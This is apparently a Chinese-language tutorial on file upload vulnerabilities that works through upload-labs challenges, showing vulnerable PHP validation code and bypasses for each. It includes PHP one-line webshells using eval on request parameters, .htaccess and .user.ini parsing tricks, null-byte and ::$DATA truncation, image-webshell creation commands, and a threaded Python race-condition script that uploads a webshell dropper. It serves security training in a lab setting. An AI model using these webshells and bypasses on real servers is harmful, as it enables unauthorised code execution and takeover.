文件上传漏洞

649 阅读4分钟

文件上传

一、文件上传漏洞概述

概述

将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。

通常一个文件以HTTP协议进行上传时,将POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。

客户端选择发送的文件 -> 服务器接收 -> 服务器程序判断 -> 临时文件 -> 移动到指定的路径

文件上传漏洞

文件上传漏洞就是利用系统上传位置上传一些特殊文件(如木马),如果服务端网站对其过滤不严,就会使木马文件成功被上传到服务器,攻击者可以利用上传的木马文件对服务器进行一系列操作(提权、反弹Shell、拖库等),这样就造成了目标网站的资产损失,这就是文件上传漏洞。

上传 恶意文件 给目标 服务器 远程执行文件 进行恶意操作

可能存在漏洞的位置
1.图片上传
2.头像上传
3.文档上传
4.附件上传
5...上传
文件上传漏洞的形成条件
1.恶意文件能成功上传
2.恶意文件能够被 解析  访问 执行
能上传  能访问
文件上传漏洞步骤
1.上传正常文件 分析/路径 测试/功能   //试水
2.攻击者通过文件上传功能,成功上传恶意文件至后端服务器 //尝试攻击
3.获得路径,且能成功访问
4.执行恶意文件
传文件 访文件 利用文件 

文件上传原理详解

 前端 
 <form action="fileupload.php" method="post" enctype="multipart/form-data"> 
 <p><input type="file" name="file"></p>
后端
<?php
  $file_name = $_FILES["file"]["name"];                     //文件名
  $file_type = $_FILES["file"]["type"];                    //文件类型  MIME
  $file_tmp_url = $_FILES["file"]["tmp_name"];            //tmp_name 临时目录
  $file_size = ceil( ($_FILES["file"]["size"]) / 1024);  //大小
  $file_error = $_FILES["file"]["error"];
  if($file_error){
    echo "上传失败";
  }else {
    echo "文件名称: $file_name <br>";
    echo "文件类型: $file_type <br>";
    echo "文件大小: $file_size KB <br>";
    $file_upload_path = "/opt/lampp/htdocs/woniu/upload/";
    move_uploaded_file($file_tmp_url, $file_upload_path . $file_name);    //从临时文件移到永久文件夹
  }
?>
在 PHP 中,通过 $_FILES 超级全局变量获取的文件对象通常具有以下属性:
name:上传文件的原始文件名。
type:上传文件的 MIME 类型。
tmp_name:文件被上传后在服务器上存储的临时文件名和路径。
error:上传文件过程中出现的错误代码。
size:上传文件的大小(以字节为单位)。
当通过表单上传文件时,文件首先会被存储在服务器的临时目录中。在 PHP 中,通常需要使用特定的函数(如move_uploaded_file())将文件从临时目录移动到指定的永久存储路径,以便进行后续的处理和存储。

二、文件上传防御与绕过

客户端检测(JS检测) 与绕过- Pass-01

如何判断是前端校验还是后端校验,有数据包到后端就是后端校验,没有数据包到后台前端校验(前端校验可控)
防御代码
   var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
 
 
 var ext_name = file.substring(file.lastIndexOf("."));    //从最后的点开始截取一直到最后的字符串  
 例a.b.c.d 最后为d  截取最后扩展名  
 if (allow_ext.indexOf(ext_name + "|") == -1)            
 //判断 在白名单 索引 文件扩展名 若为-1即 白名单没索引到扩展名 即报错  //不相互包含 即报错 
绕过手段
1. 禁用JS,可能禁用JS会导致系统无法使用
2. 删除事件,找到相关的事件

image-20241017115919698

3. Yakit 抓包 修改后缀
   3.1 先改为 运行后缀,在抓包修改为php后缀     最终上传的还是php

image-20241017120213709

服务端校验与绕过

MIME类型校验 - Pass-02

服务器端将会对上传文件Content-type类型进行检查以此来防范恶意文件的上传,这时我们打开Yakit将php文件上传,因为Content-type的类型不是服务器认可的类型,那么我们就可以使用Yakit进行修改该文件类型,并将该文件进行上传。

常见的MIME类型
text/plain (纯文本)
text/html  (HTML文档)
text/javascript (js代码)
application/xhtml+xml (XHTML文档)
image/gif  (GIF图像) 
image/jpeg (JPEG图像)
image/png  (PNG图像) 
video/mpeg (MPEG动画) 
application/octet-stream (二进制数据) 
application/pdf (PDF文档)
类型绕过
白名单绕过 payload
1. 上传php文件
2. Yakit 抓包 并修改 Content-Type: image/png 为白名单存在内容即可
3. 放包 并获得地址

image-20241017142517857

黑名单 - Pass-03
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除多余的点
        $file_ext = strrchr($file_name, '.');//切.以后字符串 即扩展名
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
绕过

在apache中,执行不以php结尾的文件时,apache会依向前查找文件名中是否包含.php的字符,如果包含则执行该文件中的php代码

黑名单绕过 payload
1. 上传php文件
2. Burp抓包
2.1 修改 Content-Type: image/png 为白名单存在内容即可
2.2 修改文件扩展名为 shell.php3
3. 放包 并获得地址
为什么php3可以绕过

php可支持的扩展名有很多 .php3(默认支持),也可以手动配置,/opt/lampp/etc/httpd.conf,注意重启,一旦配置好,则可以支持除.php外的php扩展名

可以手动配置解析的拓展名 /opt/lampp/etc/httpd.conf

添加 或者 找到
AddType application/x-httpd-php .php3 .php4 .php5

image-20241017143932081

分布式配置文件(.htaccess)绕过 - Pass-04

.htaccess文件,全称为Hypertext Access(超文本入口)。提供了针对目录改变配置的方法。

Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。

启用.htaccess,需要修改httpd.conf,启用AllowOverride All,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

前提:php5.6以下不带nts的版本,5.6版本是可以的

防御脚本
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//获取扩展名
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
绕过
1. 创建一个 .htaccess 文件
2. 里面输入
   AddType application/x-httpd-php .jpg .txt
   这个文件内容的意思是告诉apache当遇到 .jpg .txt 文件时,按照php去解析
3. 将 .htaccess 文件 上传 一旦上传成功 分布式配置文件即可生效 
4. 上传包含一句话木马的图片 扩展名是 .jpg
5. 使用该地址执行一句话木马  分布式配置会将这个图片理解为 php 文件
分布式配置文件(.user.ini)绕过 - Pass-05
防御代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//存扩展名
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
绕过

版本 5.3.29 以下可绕过,其他版本未尝试

1. 创建一个 .user.ini 文件
2. 里面输入
   auto_prepend_file = "shell.jpg"
   auto_prepend_file 表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
   auto_append_file 这个是指内容添加到文末,如果有exit会无法调用到
3. 将 .user.ini 文件 上传 一旦上传成功 分布式配置文件即可生效 
4. 上传包含一句话木马的图片 shell.jpg
5. 使用该地址执行上蚁剑 访问 readme.php  分布式配置会将这个图片中的代码包含进 readme.php 头部 从而getshell
注意
如果不执行 需要去 php.ini 修改配置文件
user_ini.cache_ttl = 10   默认是300s等待5分钟
大小写绕过 - Pass-06
绕过
防御代码中没有大小写转化,尝试使用大小写绕过
空白符绕过 - Pass-07
绕过
防御代码中没有空白符限制,尝试使用空白符绕过

image-20241017153117445

无法使用
点绕过 - Pass-08
绕过
防御代码中点符限制,尝试使用点符绕过

image-20241017153832430

原理:
php 解析文件时会从后往前寻找.php 直到找到.php为止
双写绕过 - Pass-11
防御代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
绕过
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphphpp"
Content-Disposition: form-data; name="upload_file"; filename="shell.phtmlhp"
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphphpp3"

image-20241017154534452

00截断绕过

PHP的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

前提 : 需要PHP版本 < 5.3.4,并且 php.ini 关闭 magic_quotes_gpc = Off

这里可以使用小皮面板复现

image-20241017170040325

image-20241017170140013

再次访问加 index.php 访问
GET 00截断 - Pass-12

路径截断 get%00

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
绕过

image-20241017170508245

注意
%00截断后面的语句,保存时,保存为shell.php 而不是shell.php.jpg
页面显示的路径是无效的,真正的路径是 /upload/shell.php
上传时为shell.php.png
保存路径时为/upload/shell.php
需要 用户控制 存储路径 
POST 00截断 - Pass-13

hex 0x00/00 00 00

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;  //截断后面的语句,保存时,保存为shell.php 而不是shell.php.jpg
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

POST中不会自动将%00转化为 0x00 ,需要我们手动转换

img
绕过

用POST方式传参,也是00截断,但是不会像GET方式那样会对%00进行解码。

由于无法自行解码所以我们需要在hex中找到相对应的位置将数字修改为00

img
注意
页面显示的路径是无效的,真正的路径是 /upload/shell.php
Windows::$DATA截断绕过 - Pass-09

在Windows操作系统中,当你看到文件名后跟着:$DATA时,它表示文件的一个附加数 据流(Alternate-Data Stream,ADS)。数据流是一种用于在文件内部存储额外数据的机制。

在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是 Windows-NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加:$DATA来访问。

例如,shell.php是一个文件,而shell.php:$DATA是这个文件的一个附加数据流。这样的数据流可 以用于存储文件的元数据、备份信息、标签等。

绕过

image-20241017171626596

注意
文件回显地址 
http://192.168.88.139/upload/202406040721463964.php::$data  //
需要将后面的 ::$data 删除才是真实的地址
http://192.168.88.139/upload/202406040721463964.php
getimagesize图片马 - Pass15

getimagesize()是PHP中用于获取图像的大小和格式的函数。它可以返回一个包含图像的宽度、高度、类型和MIME类型的数组

图片木马
制作图片马
Widnows: copy /b 图片文件.png + /a 木马文件.php
Linux: cat 木马文件.php >> 图片文件.png
截一个小小的图,在其后面添加一个 一句话木马
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

这时候普通的一句话木马无法上传,图片组合木马可以上传,但是纯PHP代码的图片无法上传,就需要将图片标识添加到文件头部,最方便的是GIF的文件头 - GIF89A

GIF89A
<?php @eval($_REQUEST['cmd']);?>
条件竞争 - Pass-18
防御代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
条件竞争

利用在删除之前的时间差访问我们上传的木马创建一个getshell文件

shell.php
<?php fputs(fopen('getshell.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>    //fopen('getshell.php','w')创建打开 fputs(路径,内容)

上传并抓包,疯狂发包

image-20241017173706586
上传后会驻留一瞬间,我们就需要利用这一瞬间,访问我们的php文件
1. 上传shell.php 到服务器,Yakit抓包,利用爆破模块不断上传 payload 状态码是 200 就停
2. Python语言不断访问shell.php文件,一旦访问成功则会生成新的getshell.php文件
一直访问这个路径 一旦访问成功则会新建 getshell.php
一旦访问成功则可以上蚁剑
蚁剑访问 http://www.dlrb.com/upload/getshell.php
image-20241017173820608
Python
上传 + 在访问
import threading
import requests
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0"
}
def upload():
    url = "http://www.dlrb.com/upload/Pass-18/index.php"
    files = {
        "upload_file": ("shell.php", "<?php fputs(fopen('getshell.php','w'),'<?php @eval($_POST[cmd]);?>'); ?>")
    }
    data = {
        "submit": "上传"
    }
    # files 是文件上传需要的参数 是一个 字典 data  是post 提交文件的参数
    requests.post(url, data=data, headers=headers, files=files)
    getshell_url = "http://www.dlrb.com/upload/upload/shell.php"
    status_code = requests.get(getshell_url, headers=headers).status_code
    if status_code == 200:
        print("getshell生成成功")
if __name__ == '__main__':
    thrad_list = []
    for i in range(2000):
        t = threading.Thread(target=upload)
        t.start()
        thrad_list.append(t)
    for tt in thrad_list:
        tt.join()